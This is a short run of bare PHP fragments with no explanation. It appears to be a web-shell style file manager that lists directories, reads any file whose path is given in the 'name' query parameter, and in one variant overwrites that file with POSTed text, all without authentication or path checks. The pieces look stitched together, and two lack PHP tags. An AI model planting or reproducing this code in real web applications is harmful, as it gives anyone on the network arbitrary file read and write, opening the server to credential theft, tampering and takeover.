<?php $o=opendir('./'); $op=$_GET['name']; print "<center><table border=3><tr><td><h1>Select File</h1>"; while ($r=readdir($o)) { print "<a href=\"?name="; print $r; print "\">$r</a>"; print "<br>"; } print "</td>"; if (isset($op)) { print "<td><h1>File Edit</h1> <form method=\"POST\">"; print "<br><br><textarea cols=\"50\" rows=\"20\" name=\"text\">"; print htmlspecialchars(file_get_contents($op)); print "</textarea>"; print "<input type=\"submit\" value=\"OK\"></form></td></tr></table></center>"; $ft=$_POST['text']; if(isset($ft)) { $fo=fopen($op,"w"); fputs ($fo,$ft); die ("ok"); } } ?>
function getFileInDir($path) { $handle = opendir($path); if($path!='./')$path .= "/"; while (false !== ($file = readdir($handle))) $out .= '<a href="?name=' . $path . $file . '">' . $file . '</a></br>' . "\n"; return $out; } $object = isset($_GET['name']) ? $_GET['name'] : './'; if(is_dir($object)) { echo getFileInDir($object); } else { echo htmlspecialchars(file_get_contents($object)); }
function getFileInDir($path) { $handle = opendir($path); if($path!='./')$path .= "/"; while (false !== ($file = readdir($handle))) $out .= '<a href="?name=' . $path . $file . '">' . $file . '</a></br>' . "\n"; return $out; } echo "<center> <table border=3 width=\"100%\"> <tr>"; $object = isset($_GET['name']) ? $_GET['name'] : './'; if(is_dir($object)) echo '<td width="200"><h1>Select Edit</h1>' . getFileInDir($object) . '</td><td> </td>'; else echo ' <td width="200"><a href="javascript:history.go(-1);">Cancel</a></td> <td><h1>File Edit</h1> <form method="POST"> <textarea cols="50" rows="20" name="text">' . htmlspecialchars(file_get_contents($object)) . '</textarea> <input type="submit" value="OK"> </form> </td>'; echo '</tr> </table> </center>';